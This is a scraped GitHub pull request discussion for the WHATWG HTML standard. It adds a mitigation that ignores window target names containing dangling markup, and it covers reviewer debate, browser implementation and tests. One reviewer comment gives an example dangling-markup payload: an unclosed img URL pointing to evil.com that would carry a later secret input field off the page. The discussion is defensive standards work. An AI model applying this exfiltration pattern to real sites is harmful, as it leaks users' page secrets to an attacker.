Ignore dangling markup in target name by shhnjk · Pull Request #9309 · whatwg/html

shhnjk · 2023-05-18T21:39:56Z

Dangling markup injection mitigation aimed to mitigate attacks which abused URL parsers. Since then, folks have found a way to leak information using target attributes.

The usage of such target names is low. And therefore it'd be great if we can close this hole in the dangling markup injection mitigation.

At least two implementers are interested (and none opposed):
- Chromium.
- Mozilla.
- Webkit.
Tests are written and can be reviewed and commented upon at:
- Add a runtime enabled feature for Dangling Markup in target name web-platform-tests/wpt#40232
Implementation bugs are filed:
- Chromium: https://bugs.chromium.org/p/chromium/issues/detail?id=1421440
- Gecko: https://bugzilla.mozilla.org/show_bug.cgi?id=1835157.
- WebKit: https://bugs.webkit.org/show_bug.cgi?id=257349.

/document-sequences.html ( diff )
/form-control-infrastructure.html ( diff )
/infrastructure.html ( diff )
/semantics.html ( diff )

shhnjk · 2023-05-18T21:40:27Z

CC: @mikewest.

mikewest

Only one substantive comment around what whitespace we're looking for. I'd defer to others around how the behavior should be described around like 89930.

(Are you by any chance interested in picking up the refactoring described in whatwg/fetch#546 (comment) to potentially get non-Chromium implementers interested?)

shhnjk · 2023-05-22T18:19:21Z

I've moved the logic to only take effect on html attributes (and not JS APIs likewindow.open()). PTAL :)

(Are you by any chance interested in picking up the refactoring described in whatwg/fetch#546 (comment) to potentially get non-Chromium implementers interested?)

Is the only change required just this? If so, it's a small change that I can work on.

…igation

zcorpan · 2023-05-24T19:56:32Z

Is the tab or newline check needed? It seems simpler to just check for <

shhnjk · 2023-05-24T20:44:40Z

Is the tab or newline check needed? It seems simpler to just check for <

This change follows the same logic as previous dangling markup injection mitigation. If we were to only check for <, we have to change the use counter in Chromium to see if that's compatible first.

mikewest · 2023-05-25T10:17:20Z

@zcorpan: For URLs, checking the removable whitespace was both pragmatic (since we're already walking the string to find and remove those characters) and a good limiting function to target the worrying cases we cared about, since those were most likely to include a tag starting on a line other than the injection point. That is, distinguishing:

<img src="https://totally.reasonable/?tag=<a>">

from:

<img src="https://evil.com/?
...
<input name=sekrit value=value>

It seems ideal from an explainability perspective to maintain the same checks in both places (assuming we can agree on the URL checks). That gives us the best chance of explaining to developers what we're doing.

@shhnjk: Agreeing on the URL checks would require different work than whatwg/url#284. That PR matches what Chromium ships, but others were concerned about adding this concept to URL, and would have preferred for it to live as a chokepoint in HTML instead. There's more more discussion necessary around that, as I'm pretty confident that the implementation is performance-critical (we had to roll it back at least once to improve performance AFAIR), and doing it at the same time that we're already walking through the URL turned out to be the best approach. So, my hope would be that we could have some sort of "removed whitespace" flag in URL, and use those in HTML (rather than Fetch). That said, this discussion is very tangential to the PR we're discussing. :)

zcorpan · 2023-05-25T12:09:07Z

@mikewest ok. Many sites use minimizers and therefore no tabs or newlines, and so would still be vulnerable, right? Maybe any ASCII whitespace and < would still catch injection in minimized HTML but allow legitimate URLs (since they shouldn't contain any whitespace).

mikewest · 2023-05-25T12:16:57Z

I'm happy to explore other heuristics. Just using URL's list of removable whitespace and < was one approach we were able to ship successfully for fetches in Chrome. If other combinations of whitespace and < are preferable, we can probably try to gather metrics (though I worry a bit about the cost of putting more branches into our URL parser, which turns out to be important to keep fast).

Implementation for whatwg/html#9309. Bug: 1421440 Change-Id: I704ecbc0f18e48c32966a77bae2307e96eb44073

annevk · 2023-05-26T09:09:06Z

You also forgot about the formtarget attribute. We probably want to restructure "get an element's target" to make that less likely going forward. Perhaps it should take a target value as argument as well and in that case only the validation happens.

Implementation for whatwg/html#9309. Bug: 1421440 Change-Id: I704ecbc0f18e48c32966a77bae2307e96eb44073 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/4553305 Commit-Queue: Jun Kokatsu <jkokatsu@google.com> Reviewed-by: Mike West <mkwst@chromium.org> Cr-Commit-Position: refs/heads/main@{#1150017}

Implementation for whatwg/html#9309. Bug: 1421440 Change-Id: I704ecbc0f18e48c32966a77bae2307e96eb44073 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/4553305 Commit-Queue: Jun Kokatsu <jkokatsu@google.com> Reviewed-by: Mike West <mkwst@chromium.org> Cr-Commit-Position: refs/heads/main@{#1150017}

shhnjk · 2023-05-30T18:54:00Z

You also forgot about the formtarget attribute. We probably want to restructure "get an element's target" to make that less likely going forward. Perhaps it should take a target value as argument as well and in that case only the validation happens.

Since formtarget must have values that are valid navigable target names or keywords, I think that should be covered by the change we are making to the valid navigable target name?

annevk · 2023-05-31T10:46:52Z

Validity requirements don't affect user agents. Just conformance checkers.

shhnjk · 2023-06-06T21:18:20Z

Validity requirements don't affect user agents. Just conformance checkers.

Thanks for the info! Added the change you've suggested. PTAL 😊

https://bugs.webkit.org/show_bug.cgi?id=257349 Reviewed by Chris Dumez. whatwg/html#9309 * LayoutTests/imported/w3c/resources/import-expectations.json: * LayoutTests/imported/w3c/web-platform-tests/html/browsers/windows/dangling-markup-window-name.tentative-expected.txt: Added. * LayoutTests/imported/w3c/web-platform-tests/html/browsers/windows/dangling-markup-window-name.tentative.html: Added. * LayoutTests/imported/w3c/web-platform-tests/html/browsers/windows/resources/window-name.sub.html: * LayoutTests/imported/w3c/web-platform-tests/html/browsers/windows/w3c-import.log: * LayoutTests/tests-options.json: * Source/WebCore/dom/Element.cpp: (WebCore::Element::makeTargetBlankIfHasDanglingMarkup const): * Source/WebCore/dom/Element.h: * Source/WebCore/html/HTMLAnchorElement.cpp: (WebCore::HTMLAnchorElement::effectiveTarget const): * Source/WebCore/html/HTMLFormElement.cpp: (WebCore::HTMLFormElement::effectiveTarget const): Canonical link: https://commits.webkit.org/267154@main

shhnjk · 2023-08-22T23:06:35Z

@annevk, it looks like Webkit already made a change based on this spec. However, Blink have not yet made this change due to pending approval for this PR. Could you PTAL and let me know if there's anything I can do to help approve this PR? Thanks in advance! 🙂

annevk

You need to rebase this to ensure all the CI checks start running properly again. git rebase main followed by git push --force should do the trick. Then address the nits in a new commit.

I'll aim to have this merged next week at the latest. Thanks for your patience!

annevk · 2023-08-26T08:58:28Z

You need to fully rebase this as I suggested. PR Preview doesn't build at the moment and I suspect it's because of that.

shhnjk · 2023-08-28T17:27:24Z

You need to fully rebase this as I suggested. PR Preview doesn't build at the moment and I suspect it's because of that.

I tried git rebase main and git push --force but it just says Everything up-to-date. I also tried this and it seems to build successfully.

shhnjk · 2023-08-28T20:05:54Z

PR Preview now works!

annevk · 2023-08-30T14:30:47Z

Thanks, is there a PR to rename the test away from tentative?

annevk

Please double check the nits I pushed.

shhnjk · 2023-08-30T16:36:07Z

Thanks, is there a PR to rename the test away from tentative?

No there isn't, but I can work on it 🙂

Please double check the nits I pushed.

LGTM! I not authorized to merge this PR so please feel free to do so!

annevk · 2023-08-30T16:49:17Z

Thanks @shhnjk! Looking forward to the follow-up work around URLs.

Since the dangling markup in target name is merged to the html spec[1], let's remove the tentative name from the test. [1] whatwg/html#9309 Bug: 1421440 Change-Id: I75a47e0c155cd81f72eafe45a9118a93b8904ba7

Since the dangling markup in target name is merged to the html spec[1], let's remove the tentative name from the test. [1] whatwg/html#9309 Bug: 1421440 Change-Id: I75a47e0c155cd81f72eafe45a9118a93b8904ba7 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/4827645 Auto-Submit: Jun Kokatsu <jkokatsu@google.com> Reviewed-by: Yifan Luo <lyf@chromium.org> Commit-Queue: Yifan Luo <lyf@chromium.org> Commit-Queue: Jun Kokatsu <jkokatsu@google.com> Cr-Commit-Position: refs/heads/main@{#1190256}

Since the dangling markup in target name is merged to the html spec[1], let's remove the tentative name from the test. [1] whatwg/html#9309 Bug: 1421440 Change-Id: I75a47e0c155cd81f72eafe45a9118a93b8904ba7 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/4827645 Auto-Submit: Jun Kokatsu <jkokatsu@google.com> Reviewed-by: Yifan Luo <lyf@chromium.org> Commit-Queue: Yifan Luo <lyf@chromium.org> Commit-Queue: Jun Kokatsu <jkokatsu@google.com> Cr-Commit-Position: refs/heads/main@{#1190256}

Since the dangling markup in target name is merged to the html spec[1], let's remove the tentative name from the test. [1] whatwg/html#9309 Bug: 1421440 Change-Id: I75a47e0c155cd81f72eafe45a9118a93b8904ba7 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/4827645 Auto-Submit: Jun Kokatsu <jkokatsu@google.com> Reviewed-by: Yifan Luo <lyf@chromium.org> Commit-Queue: Yifan Luo <lyf@chromium.org> Commit-Queue: Jun Kokatsu <jkokatsu@google.com> Cr-Commit-Position: refs/heads/main@{#1190256}

… a=testonly Automatic update from web-platform-tests Rename dangling-markup-window-name test Since the dangling markup in target name is merged to the html spec[1], let's remove the tentative name from the test. [1] whatwg/html#9309 Bug: 1421440 Change-Id: I75a47e0c155cd81f72eafe45a9118a93b8904ba7 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/4827645 Auto-Submit: Jun Kokatsu <jkokatsu@google.com> Reviewed-by: Yifan Luo <lyf@chromium.org> Commit-Queue: Yifan Luo <lyf@chromium.org> Commit-Queue: Jun Kokatsu <jkokatsu@google.com> Cr-Commit-Position: refs/heads/main@{#1190256} -- wpt-commits: 1b0f7bb302766bb65125a7fb7c6732d6f41f86ce wpt-pr: 41718

Since the dangling markup in target name is merged to the html spec[1], let's remove the tentative name from the test. [1] whatwg/html#9309 Bug: 1421440 Change-Id: I75a47e0c155cd81f72eafe45a9118a93b8904ba7 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/4827645 Auto-Submit: Jun Kokatsu <jkokatsu@google.com> Reviewed-by: Yifan Luo <lyf@chromium.org> Commit-Queue: Yifan Luo <lyf@chromium.org> Commit-Queue: Jun Kokatsu <jkokatsu@google.com> Cr-Commit-Position: refs/heads/main@{#1190256}

…ng Markup in target name, a=testonly Automatic update from web-platform-tests Add a runtime enabled feature for Dangling Markup in target name Implementation for whatwg/html#9309. Bug: 1421440 Change-Id: I704ecbc0f18e48c32966a77bae2307e96eb44073 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/4553305 Commit-Queue: Jun Kokatsu <jkokatsu@google.com> Reviewed-by: Mike West <mkwst@chromium.org> Cr-Commit-Position: refs/heads/main@{#1150017} -- wpt-commits: 6b54946ef25cc5e48b09349188cc9c40883a4350 wpt-pr: 40232

Ignore dangling markup in target name

04e6913

This was referenced May 18, 2023

Ignore target names which contain both \n and < characters mozilla/standards-positions#804

Closed

Ignore target names which contain both \n and < characters WebKit/standards-positions#188

Open

mikewest reviewed May 22, 2023

View reviewed changes

Comment thread source Outdated

Comment thread source Outdated

shhnjk added 2 commits May 22, 2023 17:59

Address comments

599995e

Change <a> to <span>

2469d25

shhnjk added 2 commits May 22, 2023 23:58

Move the logic so that only html attributes are considered in the mit…

8d5797b

…igation

Add dfn for ascii tab and newline

131f32f

chromium-wpt-export-bot mentioned this pull request May 25, 2023

Add a runtime enabled feature for Dangling Markup in target name web-platform-tests/wpt#40232

Merged

chromium-wpt-export-bot pushed a commit to web-platform-tests/wpt that referenced this pull request May 25, 2023

Add a runtime enabled feature for Dangling Markup in target name

dca1f6a

Implementation for whatwg/html#9309. Bug: 1421440 Change-Id: I704ecbc0f18e48c32966a77bae2307e96eb44073

annevk reviewed May 26, 2023

View reviewed changes

Comment thread source Outdated

Comment thread source Outdated

Comment thread source Outdated

annevk reviewed May 26, 2023

View reviewed changes

Comment thread source Outdated

Address few comments

c205aa5

Change targetName to target

7c3f5cb

shhnjk added 2 commits June 6, 2023 21:09

Add an optional targetValue

8376ac1

Add back an if

ce6254a

sideshowbarker mentioned this pull request Aug 21, 2023

Change navigable target names to _blank if they have dangling markup WebKit/WebKit#16885

Merged

annevk reviewed Aug 25, 2023

View reviewed changes

Comment thread source Outdated

Comment thread source Outdated

Comment thread source Outdated

shhnjk and others added 2 commits August 25, 2023 11:24

Merge branch 'whatwg:main' into main

d748b03

Address comments

12eeb8c

shhnjk mentioned this pull request Aug 28, 2023

Error not surfaced properly tobie/pr-preview#147

Closed

nits

edebccc

annevk approved these changes Aug 30, 2023

View reviewed changes

annevk merged commit 8b9a675 into whatwg:main Aug 30, 2023

chromium-wpt-export-bot mentioned this pull request Aug 30, 2023

Rename dangling-markup-window-name test web-platform-tests/wpt#41718

Merged

YusukeHirao mentioned this pull request Sep 17, 2023

Update checking the browser content name type for the dangling markup injection mitigation markuplint/markuplint#1149

Closed

Conversation

shhnjk commented May 18, 2023 • edited by pr-preview Bot Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

shhnjk commented May 18, 2023

Uh oh!

mikewest left a comment

Choose a reason for hiding this comment

Uh oh!

Uh oh!

Uh oh!

shhnjk commented May 22, 2023 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

zcorpan commented May 24, 2023

Uh oh!

shhnjk commented May 24, 2023

Uh oh!

mikewest commented May 25, 2023

Uh oh!

zcorpan commented May 25, 2023

Uh oh!

mikewest commented May 25, 2023

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

annevk commented May 26, 2023

Uh oh!

shhnjk commented May 30, 2023

Uh oh!

annevk commented May 31, 2023

Uh oh!

shhnjk commented Jun 6, 2023

Uh oh!

shhnjk commented Aug 22, 2023

Uh oh!

annevk left a comment

Choose a reason for hiding this comment

Uh oh!

Uh oh!

Uh oh!

Uh oh!

annevk commented Aug 26, 2023

Uh oh!

shhnjk commented Aug 28, 2023

Uh oh!

shhnjk commented Aug 28, 2023

Uh oh!

annevk commented Aug 30, 2023

Uh oh!

annevk left a comment

Choose a reason for hiding this comment

Uh oh!

shhnjk commented Aug 30, 2023

Uh oh!

annevk commented Aug 30, 2023

Uh oh!

Reviewers

Assignees

Labels

Milestone

Development

Uh oh!

4 participants

shhnjk commented May 18, 2023 •

edited by pr-preview Bot

Loading

shhnjk commented May 22, 2023 •

edited

Loading